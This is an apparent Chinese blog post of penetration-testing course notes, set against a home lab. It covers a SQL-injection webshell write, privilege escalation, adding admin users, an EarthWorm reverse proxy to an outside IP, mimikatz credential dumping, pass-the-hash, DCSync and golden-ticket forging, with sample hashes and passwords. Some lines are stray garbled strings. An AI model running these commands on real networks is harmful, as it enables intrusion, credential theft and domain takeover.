内网渗透


1、重原理,轻测试

内网渗透的课程

1、主要是思路和操作为主

靶场作为切入点

SQL注入可以干什么?

获取数据、读取文件 影响数据库。

其实SQL注入是可以getshell写一句话木马

SQL语句:导出文件:

​ into out file
​ into dumpfile

如果有堆叠注入 [通过日志的方法写webshell]

http://192.168.136.129/?id=1%20unino%20select%201,%27%3C?php%20eval($_REQUEST[a])?%3E%27%20into%20dumpfile%20%27C:\\phpStudy1\\PHPTutorial\\WWW\123.txt%27

http://192.168.136.129/?id=1.111 union select 1,0x3c3f706870206576616c28245f524551554553545b615d293f3e into dumpfile ‘C:/phpStudy1/PHPTutorial/WWW/123.php’

一台服务器搭建了两个网站

A网站是低权限运行的 webshell => 低权限 可以通过PHP往B网站写东西 写一个马

B网站是高权限运行的 webshell => 高权限了


很多时候渗透测试人员,在做渗透测试的时候,拿到了网站权限,会发现,网站的权限调用的CMD命令,其实并不是服务器管理权限,这个时候后就需要去想办法提升自己的权限,只有自己的权限够了,才可以更好的做内网测试。

提权的路线其实不止一个

不同服务组件用了不同权限。例如网站权限低,数据库权限高,那么我们就要想办法让其他组件帮我们去做事。再例如:目标及其上运行了一些其他的服务,然后这些服务只能从内部访问,然后我们也可以调用过来用。(例如:FTP|Redis等等)[这个需要一定的知识积累,早期不推荐]

有用的cmd命令:

whoami 查看当前用户权限

netstat -ano 查看本机开放的端口

tasklist 查看本机运行的程序[类似于任务管理器]

systeminfo 查看计算机信息

利用windows的漏洞(最常见手法)

查看windows打了什么补丁,然后去网上找存在什么样的漏洞,然后找对应的提权工具

widnows打了补丁什么漏洞我又不清楚,我怎么找?其实有前辈做了很好的东西 访问:提权辅助页面:http://bugs.hacking8.com/tiquan/

查看到补丁号填入,然后点击查询就可以,然后告诉你哪些漏洞可以用,直接去找这个微软编号的利用工具

net user nf 密码 /add

net localgroup administrators nf /add 提升管理员权限

3389登陆 一个公网ip内存在N多个机器

公网端口
端口转发、映射

内网端口 netstat -ano 看到的是内网端口

被攻击机器A 主动访问一台 公网B机器 是不是就可以建立连接了?

​ 内网三台机器

​ A机器、B机器、C机器

A机器的3389放出来 可以直接连接
B机器、C机器都在我手上,但是他们没有外网

EarthWorm

ew_win32.exe

建立反向代理 ew -s rssocks -d 103.46.128.53 -e 15906 将自己反向连接到103.46.128.53的15906端口

接受代理 ew -s rcsocks -l 4545 -e 80 监听80端口, 将获取的数据转发到4545端口

目标机器 —> 路由器 -> 穿透工具提供的平台 -> 我

端口 - > 不是开了就可以构成连接。 【访问到】服务

7 ~+I|lu}3wuA31|vvl

12 c373bf48.IE

SQL注入可以干什么?

|- 获取数据、读取文件 影响数据库。
|- 其实SQL注入是可以getshell 写一句话木马

SQL语句:导出文件

|- into outfile

|- into dumpfile

本地搭建phpstudy测试

注意:前提是开启了dumpfile 和 Outfile 不然会报错、具体如何开启自行百度

image-20210425102915152

本地明显导入了123

image-20210425103040959

我们尝试导入一句话php测试“” 注意用引号

image-20210425103359467

image-20210425103435470

导入成功,用本地测试是否有用

image-20210425103518030

1
select 1,2,"<?php eval($_REQUEST[a]); ?>" into dumpfile 'C:\\phpStudy1\\PHPTutorial\\WWW\\15.php'

利用内网穿透、ew、proxifier,Nmap端口扫描到192.168.0.4主机已经开启,进入发现存在安全狗老版的可以绕过

image-20210425104153848‘’

privilege::debug token::elevate lsadump::sam 从lsass.exe进程获取 privilege::debug sekurlsa::logonpasswords

1q2w3e4r.

o%JTey4$(D0y7<4RK

端口的转发 抓取密码

域渗透

很多漏洞都是为了管理员方便,都是为了偷懒而产生,所以体验感和安全永远在对立面,越方便,越危险!!!

内网里面有很多机器,例如:几百台,上千台电脑,但是计算机管理员仅仅只有几个人,如果他们想对所有电脑进行更新升级,是不是要累死?一台一台的操作过去,我估计得吐血

windows的开发也是考虑到了这个问题,所以windows中有一个域的功能。

域其实就是一些计算机所组成的。一歌电脑也能是一个域,一堆电脑也可以是一个域。

域中的机器并不平等,分为控制机和客户机,控制机的权限很大,可以操作域中任意机器,它被叫为域控制器,俗称域控(DC),拿下域控,就等于拿下所域里面所有的机器。对于黑客而言,拿下域控也是攻击的最终极目标

域比较复杂,分为单域、父域、子域、域树、域森林等概念 对于初期渗透测试人员而言,其实都差不多。

我们的目标是域控,那么我们肯定要对域有一定的了解,域作为windows的一个功能,我们为何不尝试自建一个域,来方便我们测试和学习?

域的搭建超级简单:

准备两台服务器,我是虚拟机开了两台2008r2 然后进行安装

服务器管理器 -> 添加角色 -> Active Directory 域服务安装

选中角色运行安装向导就行 -> 需要设置一个超级密码:这个地方设置尽量复杂

域搭建完成。

软件的开发,肯定要兼容性?

x86 32 系统 =>
x64 64 系统 => 发现所有的x86都不能用了

早期版本的域 会兼容 win2003 => windows 2008

密码:shou446515184

域:肯定和DNS有关 zkaq.cn 我这台机器知道zkaq.cn吗?

1、知道【通过查询DNS服务器得知】默认情况下DNS服务器在不特殊设定的时候,自动分配沿用运营商的

设置DNS服务器,把使用的DNS服务器设置为内网的DNS服务器

DNS:192.168.4.15

2、不知道

A1B2C3!.Qa

sekurlsa::logonpasswords

打补丁 KB2871997 再修改注册列表

你们注册了封神台、注册了社区。

你们觉得通过数据库是否能看出你们的密码是什么?
他们会加密MD5加密已经是Low

密码学的核心 => 密文不可逆

盐值 = salt (随机数)

​ md5(md5($password).$salt) 不安全的加密

通过多次加密混淆然后形成一堆密文

DESKTOP-T7GJSKA

域控:A1B2C3!.Nf

客户机: A1B2C3!.Qa

域控的账号密码可以登录任意的域中的电脑

200台客户机 1台主控机【域控的账号密码】

Kerberos - > KDC密钥分发中心 —> AS 检验访问用户身份,看看你是谁,如果你的用户名存在AS对的数据库里面,那么就会给你一个随机64位的值,但是这个值是经过你的用户密码加密的,你得拿本本地自己密码解开,这个是用来通信的,你和TGS的沟通都会用这个密钥加密

TGS-> 和目标机器进行交互,中间用AS提供的密钥加密,然后对你提供的密码进行校验

加密: 对称加密 【有一段密钥,谁拥有它就可以解码,加密】

明文传输密码是很危险的 【在中国移动,网站明文传输密码是高危漏洞】

AS -> AS会给你一串密文 -> 拿你的密码解 -> 64位的随机数 -> TGS的传输信息密钥

通信证-> 票据

windows官方有工具可以提权【必须是administrator权限】 psexec提权

域控管理员会用自己的域控账号登陆客户机,那么我们就可以抓取到域控的账号和密码。但是密码并不一定抓取到的都是明文,如果是Windows server 2012以上的版本或者是打了KB2871997补丁就会抓取不到明文密码,虽然有密文,但是密文是不可逆的,基本上不可能解开

那该怎么利用?

这里就有一种方法叫做,哈希传递(PTH)pass-the-hash
哈希传递这是什么?

前几天在渗透时遇到了一个问题,SQL注入获取的MD5值解不开

经过漫长的代码审计:发现设置Cookie的时候,他的Cookie是可以计算的,根据便宜混淆值+用户名和密码的MD5只,然后计算成一串Cookie。我们不需要知道密码,只要算出COOkie就可以成功登陆。

有同学会问,为啥不加密直接计算,而是计算密码的Md5只,因为数据库不存储密码,他不知道呀

在登陆其他用户的时候,也会这样去计算类似的情况,所以你用哈希值就可以去登陆同密码的服务器,然后因为这里是域控的账号密码,那么你可以直接用这个登陆域控

e5f999da18a5ab80bc15ecfc84aca7d9

sekurlsa::pth /user:administrator /domain:”gylq.cn” /ntlm:

sekurlsa::pth /user:administrator /domain:”gylq.cn” /ntlm:285deb0940e1630b59d2cd9590fcbc91

域控名字:WIN-NQ8TV3JGSN1.gylq.cn

域渗透中其实有金银票据,一个是黄金票据,一个是白银票据。一个用的是域控用户账号,一个用的是krbtgt账户金票权限是最大的,我们主讲黄金票据。

krbtgt账户其实就是那个KDC密钥分发中心用超管密码,我们拿着那个票据,去访问客户机,客户机会认为们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,一般管理员会修改域控机密码,但是很少有管理员修改krbtgt的密码。那我们看看怎么伪造这个黄金票据。

mimikatz_trunk票据获取工具

log -> 记录

lsadump::dcsync /user:krbtgt 获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]

提取出里面的sid和hashNTLM 注意:这里的SID是不包含-502的,千万别把-502写进去

kerberos::golden /admin:administrator /domain:gylq.cn /sid:S-1-5-21-204603982-2387576990-164658498 /krbtgt:7fdd8ee73326c3a028bff7e196883142 /ticket:administrator.kiribi [制作票据]

kerberos::ptt administrator.kiribi [加载票据]

然后打开cmd试试看票据是否有用,可以访问域控吗? 提取东西在域控,伪造在客户机

SID : S-1-5-21-204603982-2387576990-164658498-502
Hash NTLM: 7fdd8ee73326c3a028bff7e196883142

Object Security ID : S-1-5-21-204603982-2387576990-164658498-502
Hash NTLM: 7fdd8ee73326c3a028bff7e196883142

kerberos::golden /admin:administrator /domain:gylq.cn /sid:S-1-5-21-204603982-2387576990-164658498 /krbtgt:7fdd8ee73326c3a028bff7e196883142 /ticket:administrator.kiribi

kerberos::ptt administrator.kiribi

本文标题:内网渗透

文章作者:孤桜懶契

发布时间:2021年04月19日 - 09:57:49

最后更新:2021年10月20日 - 13:20:16

原始链接:https://gylq.gitee.io/posts/65.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------